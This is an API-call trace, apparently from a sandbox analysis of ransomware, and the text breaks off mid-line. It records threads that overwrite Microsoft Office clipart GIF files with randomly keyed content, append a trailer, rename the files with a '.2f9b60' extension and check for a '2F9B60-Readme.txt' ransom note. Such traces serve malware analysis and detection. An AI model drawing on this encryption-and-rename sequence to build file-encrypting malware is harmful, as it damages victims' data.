RtlAnsiStringToUnicodeString (in: DestinationString=0x3b02f858, SourceString="3ff262590b49fe757e75722f3d632976bfaf5467ba7e8990", AllocateDestinationString=1 | out: DestinationString="3ff262590b49fe757e75722f3d632976bfaf5467ba7e8990") returned 0x0 [0124.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b864300 [0124.605] wcscat (in: _Dest=0x202ad600, _Source="3ff262590b49" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\3ff262590b49") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\3ff262590b49" [0124.605] wcscat (in: _Dest=0x202ad600, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\3ff262590b49.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\3ff262590b49.2f9b60" [0124.605] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\3ff262590b49.2f9b60", NtPathName=0x3b02f830, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\3ff262590b49.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0124.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x118610 [0124.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118610) returned 1 [0124.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46830) returned 1 [0124.643] NtQueryInformationFile (in: FileHandle=0x8e4, IoStatusBlock=0x3b02f898, FileInformation=0x3b02f8a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3b02f898, FileInformation=0x3b02f8a8) returned 0x0 [0124.643] NtSetInformationFile (FileHandle=0x8e4, IoStatusBlock=0x3b02f898, FileInformation=0x3b02f8a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0124.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad600) returned 1 [0124.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b864300) returned 1 [0124.651] FlushFileBuffers (hFile=0x8e4) returned 1 [0124.660] CloseHandle (hObject=0x8e4) returned 1 [0124.668] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x202ac9a0 [0124.669] wcscpy (in: _Dest=0x202ac9a0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0124.669] wcscat (in: _Dest=0x202ac9a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" [0124.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\2f9b60-readme.txt")) returned 0x20 [0124.669] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac9a0) returned 1 [0124.669] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863380) returned 1 Thread: id = 1282 os_tid = 0xf3c [0116.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02134_.gif")) returned 0x20 [0120.633] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF", dwFileAttributes=0x20) returned 1 [0120.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02134_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x10b4 [0120.634] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x3b0cf800 | out: lpFileSize=0x3b0cf800*=2431) returned 1 [0120.634] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x97b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.634] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0cf780, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3b0cf7c8, lpOverlapped=0x0 | out: lpBuffer=0x3b0cf780*, lpNumberOfBytesRead=0x3b0cf7c8*=0x4, lpOverlapped=0x0) returned 1 [0120.834] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a62f0 [0120.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a72b0 [0120.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6ce0 [0120.834] NtQuerySystemTime (in: CurrentTime=0x3b0cf6c0 | out: CurrentTime=0x3b0cf6c0*=132462177262270000) returned 0x0 [0120.834] RtlRandomEx (in: Seed=0x3b0cf6b0 | out: Seed=0x3b0cf6b0) returned 0x3401f6be [0120.834] RtlRandomEx (in: Seed=0x3b0cf6b0 | out: Seed=0x3b0cf6b0) returned 0x65516d68 [0120.834] RtlRandomEx (in: Seed=0x3b0cf6b0 | out: Seed=0x3b0cf6b0) returned 0x2e06e75b [0120.834] RtlRandomEx (in: Seed=0x3b0cf6b0 | out: Seed=0x3b0cf6b0) returned 0x167ddec9 [0120.834] RtlRandomEx (in: Seed=0x3b0cf6b0 | out: Seed=0x3b0cf6b0) returned 0xdb9b6bc [0120.834] RtlRandomEx (in: Seed=0x3b0cf6b0 | out: Seed=0x3b0cf6b0) returned 0x611818fd [0120.834] RtlRandomEx (in: Seed=0x3b0cf6b0 | out: Seed=0x3b0cf6b0) returned 0x2c5a95a9 [0120.834] RtlRandomEx (in: Seed=0x3b0cf6b0 | out: Seed=0x3b0cf6b0) returned 0x468b3e99 [0120.834] RtlRandomEx (in: Seed=0x3b0cf6b0 | out: Seed=0x3b0cf6b0) returned 0x4cda5084 [0120.834] RtlRandomEx (in: Seed=0x3b0cf6b0 | out: Seed=0x3b0cf6b0) returned 0x62bec8e9 [0120.834] RtlRandomEx (in: Seed=0x3b0cf6b0 | out: Seed=0x3b0cf6b0) returned 0x75aeaa70 [0120.834] RtlRandomEx (in: Seed=0x3b0cf6b0 | out: Seed=0x3b0cf6b0) returned 0x331272d [0120.834] RtlRandomEx (in: Seed=0x3b0cf6b0 | out: Seed=0x3b0cf6b0) returned 0x737ea943 [0120.834] RtlRandomEx (in: Seed=0x3b0cf6b0 | out: Seed=0x3b0cf6b0) returned 0x73777663 [0120.834] RtlRandomEx (in: Seed=0x3b0cf6b0 | out: Seed=0x3b0cf6b0) returned 0x19b48334 [0120.834] RtlRandomEx (in: Seed=0x3b0cf6b0 | out: Seed=0x3b0cf6b0) returned 0x57edddae [0120.834] RtlRandomEx (in: Seed=0x3b0cf6b0 | out: Seed=0x3b0cf6b0) returned 0x4fde120c [0120.834] RtlRandomEx (in: Seed=0x3b0cf6b0 | out: Seed=0x3b0cf6b0) returned 0x1415739c [0120.834] RtlRandomEx (in: Seed=0x3b0cf6b0 | out: Seed=0x3b0cf6b0) returned 0x5952be22 [0120.834] RtlRandomEx (in: Seed=0x3b0cf6b0 | out: Seed=0x3b0cf6b0) returned 0x39b803d3 [0120.834] RtlRandomEx (in: Seed=0x3b0cf6b0 | out: Seed=0x3b0cf6b0) returned 0x2d221880 [0120.835] RtlRandomEx (in: Seed=0x3b0cf6b0 | out: Seed=0x3b0cf6b0) returned 0x7903952b [0120.835] RtlRandomEx (in: Seed=0x3b0cf6b0 | out: Seed=0x3b0cf6b0) returned 0x3995685c [0120.835] RtlRandomEx (in: Seed=0x3b0cf6b0 | out: Seed=0x3b0cf6b0) returned 0x4d56cabe [0120.835] RtlRandomEx (in: Seed=0x3b0cf6b0 | out: Seed=0x3b0cf6b0) returned 0x23acba5b [0120.835] RtlRandomEx (in: Seed=0x3b0cf6b0 | out: Seed=0x3b0cf6b0) returned 0x6199acbd [0120.835] RtlRandomEx (in: Seed=0x3b0cf6b0 | out: Seed=0x3b0cf6b0) returned 0x67ea427 [0120.835] RtlRandomEx (in: Seed=0x3b0cf6b0 | out: Seed=0x3b0cf6b0) returned 0x52225dbe [0120.835] RtlRandomEx (in: Seed=0x3b0cf6b0 | out: Seed=0x3b0cf6b0) returned 0x1c846103 [0120.835] RtlRandomEx (in: Seed=0x3b0cf6b0 | out: Seed=0x3b0cf6b0) returned 0x4d26c34a [0120.835] RtlRandomEx (in: Seed=0x3b0cf6b0 | out: Seed=0x3b0cf6b0) returned 0x15ebc76c [0120.835] RtlRandomEx (in: Seed=0x3b0cf6b0 | out: Seed=0x3b0cf6b0) returned 0x2c4e3dec [0120.841] ReadFile (in: hFile=0x10b4, lpBuffer=0x1ce779b0, nNumberOfBytesToRead=0x97f, lpNumberOfBytesRead=0x3b0cf6b0, lpOverlapped=0x0 | out: lpBuffer=0x1ce779b0*, lpNumberOfBytesRead=0x3b0cf6b0*=0x97f, lpOverlapped=0x0) returned 1 [0120.841] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.841] WriteFile (in: hFile=0x10b4, lpBuffer=0x41f4c1b0*, nNumberOfBytesToWrite=0x97f, lpNumberOfBytesWritten=0x3b0cf6b4, lpOverlapped=0x0 | out: lpBuffer=0x41f4c1b0*, lpNumberOfBytesWritten=0x3b0cf6b4*=0x97f, lpOverlapped=0x0) returned 1 [0122.194] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202604a0 [0122.194] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263650 [0122.195] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263650) returned 1 [0122.195] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f4c1b0) returned 1 [0122.195] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce779b0) returned 1 [0122.195] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503990) returned 1 [0122.195] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97800) returned 1 [0122.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20263650 [0122.195] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0122.195] WriteFile (in: hFile=0x10b4, lpBuffer=0x168120*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3b0cf7d0, lpOverlapped=0x0 | out: lpBuffer=0x168120*, lpNumberOfBytesWritten=0x3b0cf7d0*=0x10a, lpOverlapped=0x0) returned 1 [0122.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0122.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0122.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7f40 [0122.942] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7f40) returned 1 [0122.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0122.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7f40 [0122.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c40 [0122.942] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7c40) returned 1 [0122.942] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0122.942] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0122.943] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda05f0 [0122.943] sprintf (in: _Dest=0x1cda05f0, _Format="%c%c" | out: _Dest="7b") returned 2 [0122.943] sprintf (in: _Dest=0x1cda05f2, _Format="%c%c" | out: _Dest="78") returned 2 [0122.943] sprintf (in: _Dest=0x1cda05f4, _Format="%c%c" | out: _Dest="d4") returned 2 [0122.943] sprintf (in: _Dest=0x1cda05f6, _Format="%c%c" | out: _Dest="17") returned 2 [0122.943] sprintf (in: _Dest=0x1cda05f8, _Format="%c%c" | out: _Dest="9f") returned 2 [0122.943] sprintf (in: _Dest=0x1cda05fa, _Format="%c%c" | out: _Dest="ee") returned 2 [0122.943] sprintf (in: _Dest=0x1cda05fc, _Format="%c%c" | out: _Dest="27") returned 2 [0122.943] sprintf (in: _Dest=0x1cda05fe, _Format="%c%c" | out: _Dest="85") returned 2 [0122.943] sprintf (in: _Dest=0x1cda0600, _Format="%c%c" | out: _Dest="c1") returned 2 [0122.943] sprintf (in: _Dest=0x1cda0602, _Format="%c%c" | out: _Dest="ec") returned 2 [0122.943] sprintf (in: _Dest=0x1cda0604, _Format="%c%c" | out: _Dest="d0") returned 2 [0122.943] sprintf (in: _Dest=0x1cda0606, _Format="%c%c" | out: _Dest="f4") returned 2 [0122.943] sprintf (in: _Dest=0x1cda0608, _Format="%c%c" | out: _Dest="fe") returned 2 [0122.943] sprintf (in: _Dest=0x1cda060a, _Format="%c%c" | out: _Dest="76") returned 2 [0122.943] sprintf (in: _Dest=0x1cda060c, _Format="%c%c" | out: _Dest="20") returned 2 [0122.944] sprintf (in: _Dest=0x1cda060e, _Format="%c%c" | out: _Dest="4e") returned 2 [0122.944] sprintf (in: _Dest=0x1cda0610, _Format="%c%c" | out: _Dest="2c") returned 2 [0122.944] sprintf (in: _Dest=0x1cda0612, _Format="%c%c" | out: _Dest="64") returned 2 [0122.944] sprintf (in: _Dest=0x1cda0614, _Format="%c%c" | out: _Dest="6d") returned 2 [0122.944] sprintf (in: _Dest=0x1cda0616, _Format="%c%c" | out: _Dest="08") returned 2 [0122.944] sprintf (in: _Dest=0x1cda0618, _Format="%c%c" | out: _Dest="d3") returned 2 [0122.944] sprintf (in: _Dest=0x1cda061a, _Format="%c%c" | out: _Dest="05") returned 2 [0122.944] sprintf (in: _Dest=0x1cda061c, _Format="%c%c" | out: _Dest="e9") returned 2 [0122.944] sprintf (in: _Dest=0x1cda061e, _Format="%c%c" | out: _Dest="bc") returned 2 [0122.944] RtlInitAnsiString (in: DestinationString=0x3b0cf848, SourceString="7b78d4179fee2785c1ecd0f4fe76204e2c646d08d305e9bc" | out: DestinationString="7b78d4179fee2785c1ecd0f4fe76204e2c646d08d305e9bc") [0122.944] RtlAnsiStringToUnicodeString (in: DestinationString=0x3b0cf818, SourceString="7b78d4179fee2785c1ecd0f4fe76204e2c646d08d305e9bc", AllocateDestinationString=1 | out: DestinationString="7b78d4179fee2785c1ecd0f4fe76204e2c646d08d305e9bc") returned 0x0 [0122.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced92b0 [0122.945] wcscat (in: _Dest=0x1cd651e0, _Source="7b78d4179fee" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\7b78d4179fee") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\7b78d4179fee" [0122.945] wcscat (in: _Dest=0x1cd651e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\7b78d4179fee.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\7b78d4179fee.2f9b60" [0122.945] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\7b78d4179fee.2f9b60", NtPathName=0x3b0cf7f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\7b78d4179fee.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0122.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x118950 [0123.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118950) returned 1 [0123.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf491c0) returned 1 [0123.099] NtQueryInformationFile (in: FileHandle=0x10b4, IoStatusBlock=0x3b0cf858, FileInformation=0x3b0cf868, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3b0cf858, FileInformation=0x3b0cf868) returned 0x0 [0123.099] NtSetInformationFile (FileHandle=0x10b4, IoStatusBlock=0x3b0cf858, FileInformation=0x3b0cf868, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.110] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd651e0) returned 1 [0123.110] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced92b0) returned 1 [0123.110] FlushFileBuffers (hFile=0x10b4) returned 1 [0123.114] CloseHandle (hObject=0x10b4) returned 1 [0123.130] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1cd65760 [0123.130] wcscpy (in: _Dest=0x1cd65760, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0123.130] wcscat (in: _Dest=0x1cd65760, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" [0123.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\2f9b60-readme.txt")) returned 0x20 [0123.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65760) returned 1 [0123.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8632d0) returned 1 Thread: id = 1283 os_tid = 0xdf8 [0116.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02116_.gif")) returned 0x20 [0120.631] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF", dwFileAttributes=0x20) returned 1 [0120.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02116_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x10bc [0120.632] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x3af9faa0 | out: lpFileSize=0x3af9faa0*=1007) returned 1 [0120.632] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x3eb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.632] ReadFile (in: hFile=0x10bc, lpBuffer=0x3af9fa20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3af9fa68, lpOverlapped=0x0 | out: lpBuffer=0x3af9fa20*, lpNumberOfBytesRead=0x3af9fa68*=0x4, lpOverlapped=0x0) returned 1 [0120.841] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a62f0 [0120.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6ce0 [0120.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a68c0 [0120.842] NtQuerySystemTime (in: CurrentTime=0x3af9f960 | out: CurrentTime=0x3af9f960*=132462177262426000) returned 0x0 [0120.842] RtlRandomEx (in: Seed=0x3af9f950 | out: Seed=0x3af9f950) returned 0x2a9f6540 [0120.842] RtlRandomEx (in: Seed=0x3af9f950 | out: Seed=0x3af9f950) returned 0x4497d968 [0120.842] RtlRandomEx (in: Seed=0x3af9f950 | out: Seed=0x3af9f950) returned 0x21496215 [0120.842] RtlRandomEx (in: Seed=0x3af9f950 | out: Seed=0x3af9f950) returned 0xb9bac6f [0120.842] RtlRandomEx (in: Seed=0x3af9f950 | out: Seed=0x3af9f950) returned 0x8f1268a [0120.842] RtlRandomEx (in: Seed=0x3af9f950 | out: Seed=0x3af9f950) returned 0x5d46e4e5 [0120.842] RtlRandomEx (in: Seed=0x3af9f950 | out: Seed=0x3af9f950) returned 0x6b26559e [0120.842] RtlRandomEx (in: Seed=0x3af9f950 | out: Seed=0x3af9f950) returned 0x13464485 [0120.843] RtlRandomEx (in: Seed=0x3af9f950 | out: Seed=0x3af9f950) returned 0x1306631c [0120.843] RtlRandomEx (in: Seed=0x3af9f950 | out: Seed=0x3af9f950) returned 0x876120d [0120.844] RtlRandomEx (in: Seed=0x3af9f950 | out: Seed=0x3af9f950) returned 0xdf94402 [0120.844] RtlRandomEx (in: Seed=0x3af9f950 | out: Seed=0x3af9f950) returned 0x1415739c [0120.844] RtlRandomEx (in: Seed=0x3af9f950 | out: Seed=0x3af9f950) returned 0x26db1e93 [0120.844] RtlRandomEx (in: Seed=0x3af9f950 | out: Seed=0x3af9f950) returned 0x3995685c [0120.844] RtlRandomEx (in: Seed=0x3af9f950 | out: Seed=0x3af9f950) returned 0x1e87f30a [0120.844] RtlRandomEx (in: Seed=0x3af9f950 | out: Seed=0x3af9f950) returned 0x43da6f45 [0120.844] RtlRandomEx (in: Seed=0x3af9f950 | out: Seed=0x3af9f950) returned 0x2f7a16a7 [0120.844] RtlRandomEx (in: Seed=0x3af9f950 | out: Seed=0x3af9f950) returned 0x3e6868e3 [0120.844] RtlRandomEx (in: Seed=0x3af9f950 | out: Seed=0x3af9f950) returned 0x324af2a6 [0120.844] RtlRandomEx (in: Seed=0x3af9f950 | out: Seed=0x3af9f950) returned 0x7ddae558 [0120.844] RtlRandomEx (in: Seed=0x3af9f950 | out: Seed=0x3af9f950) returned 0x35b155c [0120.844] RtlRandomEx (in: Seed=0x3af9f950 | out: Seed=0x3af9f950) returned 0x298d07c9 [0120.844] RtlRandomEx (in: Seed=0x3af9f950 | out: Seed=0x3af9f950) returned 0x7a5bef20 [0120.844] RtlRandomEx (in: Seed=0x3af9f950 | out: Seed=0x3af9f950) returned 0x356edc85 [0120.844] RtlRandomEx (in: Seed=0x3af9f950 | out: Seed=0x3af9f950) returned 0x627fa525 [0120.844] RtlRandomEx (in: Seed=0x3af9f950 | out: Seed=0x3af9f950) returned 0x1b043196 [0120.844] RtlRandomEx (in: Seed=0x3af9f950 | out: Seed=0x3af9f950) returned 0x2d52b66a [0120.844] RtlRandomEx (in: Seed=0x3af9f950 | out: Seed=0x3af9f950) returned 0x7fb16a76 [0120.844] RtlRandomEx (in: Seed=0x3af9f950 | out: Seed=0x3af9f950) returned 0x2c8fcb47 [0120.844] RtlRandomEx (in: Seed=0x3af9f950 | out: Seed=0x3af9f950) returned 0x6afae47a [0120.844] RtlRandomEx (in: Seed=0x3af9f950 | out: Seed=0x3af9f950) returned 0x4baa4877 [0120.844] RtlRandomEx (in: Seed=0x3af9f950 | out: Seed=0x3af9f950) returned 0x6efbd60f [0120.851] ReadFile (in: hFile=0x10bc, lpBuffer=0x41f178d0, nNumberOfBytesToRead=0x3ef, lpNumberOfBytesRead=0x3af9f950, lpOverlapped=0x0 | out: lpBuffer=0x41f178d0*, lpNumberOfBytesRead=0x3af9f950*=0x3ef, lpOverlapped=0x0) returned 1 [0120.851] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.851] WriteFile (in: hFile=0x10bc, lpBuffer=0x41f3d170*, nNumberOfBytesToWrite=0x3ef, lpNumberOfBytesWritten=0x3af9f954, lpOverlapped=0x0 | out: lpBuffer=0x41f3d170*, lpNumberOfBytesWritten=0x3af9f954*=0x3ef, lpOverlapped=0x0) returned 1 [0122.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202602f0 [0122.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202622a0 [0122.197] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202622a0) returned 1 [0122.197] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f3d170) returned 1 [0122.197] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f178d0) returned 1 [0122.197] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503910) returned 1 [0122.197] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0122.197] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202622a0 [0122.197] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0122.197] WriteFile (in: hFile=0x10bc, lpBuffer=0x167a60*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3af9fa70, lpOverlapped=0x0 | out: lpBuffer=0x167a60*, lpNumberOfBytesWritten=0x3af9fa70*=0x10a, lpOverlapped=0x0) returned 1 [0122.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0122.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0122.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a63b0 [0122.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a63b0) returned 1 [0122.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0122.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a63b0 [0122.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a64d0 [0122.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a64d0) returned 1 [0122.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0122.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0122.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0670 [0122.953] sprintf (in: _Dest=0x1cda0670, _Format="%c%c" | out: _Dest="42") returned 2 [0122.953] sprintf (in: _Dest=0x1cda0672, _Format="%c%c" | out: _Dest="bb") returned 2 [0122.953] sprintf (in: _Dest=0x1cda0674, _Format="%c%c" | out: _Dest="fb") returned 2 [0122.953] sprintf (in: _Dest=0x1cda0676, _Format="%c%c" | out: _Dest="f5") returned 2 [0122.953] sprintf (in: _Dest=0x1cda0678, _Format="%c%c" | out: _Dest="d6") returned 2 [0122.953] sprintf (in: _Dest=0x1cda067a, _Format="%c%c" | out: _Dest="0d") returned 2 [0122.953] sprintf (in: _Dest=0x1cda067c, _Format="%c%c" | out: _Dest="fa") returned 2 [0122.953] sprintf (in: _Dest=0x1cda067e, _Format="%c%c" | out: _Dest="3b") returned 2 [0122.953] sprintf (in: _Dest=0x1cda0680, _Format="%c%c" | out: _Dest="78") returned 2 [0122.953] sprintf (in: _Dest=0x1cda0682, _Format="%c%c" | out: _Dest="d2") returned 2 [0122.953] sprintf 